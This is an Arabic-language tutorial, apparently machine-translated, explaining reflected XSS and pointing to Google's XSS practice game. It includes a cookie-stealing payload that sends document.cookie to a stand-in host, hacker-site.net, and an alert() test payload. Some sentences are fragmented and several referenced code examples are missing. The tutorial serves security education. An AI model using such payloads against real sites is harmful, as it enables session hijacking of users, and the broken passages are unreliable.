ما هي البرمجة النصية عبر المواقع؟
تعد البرمجة النصية عبر المواقع (XSS) إحدى تقنيات الهجوم الأكثر شيوعًا اليوم، والمعروفة باسم عراب الهجوم، وقد تم إدراجها لسنوات عديدة على أنها أخطر تقنيات الهجوم على تطبيقات الويب.
لا تسميها اختصارًا CSS لتجنب الخلط مع مفهوم Cascading Style Sheet لـ HTML،
تعتمد
تقنية
لتنفيذ تعليمات برمجية Javascript ضارة لتولي جلسة تسجيل دخول المستخدم.
لفهم أفضل، دعونا نفكر في المثال التالي. تطبيق ويب يسمح بطباعة القيمة التي نمررها عبر عنوان URL، على افتراض أننا نمرر في متغير الاسم قيمة Ping:

كل شيء على ما يرام حتى الآن، دعونا نراجع كود مصدر HTML:
![Web7: عمليات استغلال XSS - الجزء 1: XSS المنعكس Web7: عمليات استغلال XSS - الجزء 1: XSS المنعكس]()
ما يسهل رؤيته هو أن قيمة الاسم التي أدخلناها قد تم إدراجها في كود المصدر. لذلك من الممكن أيضًا إدراج كل ما تم استيراده. تصبح المشكلة خطيرة إذا لم تكن القيمة المدخلة عبارة عن سلسلة عادية كما هو مذكور أعلاه، ولكنها جزء من التعليمات البرمجية التي قد تكون خطيرة، شيء من هذا القبيل:
حاول مرة أخرى باستخدام القيمة أعلاه:
![Web7: عمليات استغلال XSS - الجزء 1: XSS المنعكس Web7: عمليات استغلال XSS - الجزء 1: XSS المنعكس]()
ومن هذا المثال يمكننا أن نستنتج شيئين. أولاً، يمكن لمتغير الاسم تلقي أي قيمة إدخال وإرسالها إلى الخادم للمعالجة. ثانيًا، لم يتحكم الخادم في قيمة الإدخال هذه قبل إعادتها إلى المتصفح. يؤدي هذا إلى إدراج كود جافا سكريبت في الكود المصدري.
ينقسم XSS بشكل عام إلى ثلاثة أنواع رئيسية: المنعكس والمخزن والمعتمد على DOM. في هذه المقالة سأذكر بشكل أساسي تقنية Reflected XSS.
ما يصل إلى 75% من تقنيات XSS تعتمد على XSS المنعكس. يُطلق عليه اسم "انعكاس" لأنه في هذا النوع من سيناريوهات الاستغلال، يجب على المتسلل أن يرسل للضحية عنوان URL يحتوي على تعليمات برمجية ضارة (عادةً جافا سكريبت). يحتاج الضحية فقط إلى طلب عنوان URL هذا وسيتلقى المتسلل على الفور ردًا يحتوي على النتيجة المرجوة (الانعكاسية الموضحة هنا). بالإضافة إلى ذلك، فهو يُعرف أيضًا باسم XSS من الدرجة الأولى.
سيناريو التعدين في الحياة الواقعية
هناك العديد من الطرق لاستغلال خطأ XSS المنعكس، ومن أكثر الطرق المعروفة هي الاستيلاء على جلسة المستخدم، وبالتالي الوصول إلى البيانات والحصول على حقوقه على الموقع. .
التفاصيل موضحة في الخطوات التالية:
![Web7: عمليات استغلال XSS - الجزء 1: XSS المنعكس Web7: عمليات استغلال XSS - الجزء 1: XSS المنعكس]()
1. يقوم المستخدم بتسجيل الدخول إلى الويب ويفترض أنه تم تعيين جلسة:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. بطريقة ما، يرسل المتسلل إلى المستخدم عنوان URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
لنفترض أن example.com هو موقع الويب الذي يزوره الضحية، وأن hacker-site.net هو الموقع الذي أنشأه المتسلل
3. يصل الضحية إلى عنوان URL أعلاه
4. يقوم الخادم بالرد على الضحية مع البيانات الواردة في الطلب (مقتطف جافا سكريبت الخاص بالهاكر)
5. يتلقى المتصفح الضحية الاستجابة ويقوم بتنفيذ جافا سكريبت
6. جافا سكريبت الفعلي الذي أنشأه المتسلل هو كما يلي:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
يقوم سطر الأوامر أعلاه بتقديم طلب إلى موقع المتسلل بشكل أساسي مع كون المعلمة هي ملف تعريف ارتباط المستخدم:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. من موقعك، سيلتقط المتسلل محتوى الطلب أعلاه ويعتبر أن جلسة المستخدم قد تم الاستيلاء عليها. في هذه المرحلة، يمكن للمتسلل انتحال شخصية الضحية وممارسة جميع الحقوق على موقع الويب الذي يمتلكه الضحية.
يمارس
أنشأت Google صفحة للتدرب على استغلال أخطاء XSS هنا: https://xss-game.appspot.com
الهدف من هذه التحديات هو أنه يجب عليك إدخال البرامج النصية لتظهر نافذة منبثقة. التحدي الأول هو توضيح التقنية المنعكسة، ورمز الاستغلال بسيط للغاية:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
حظ سعيد!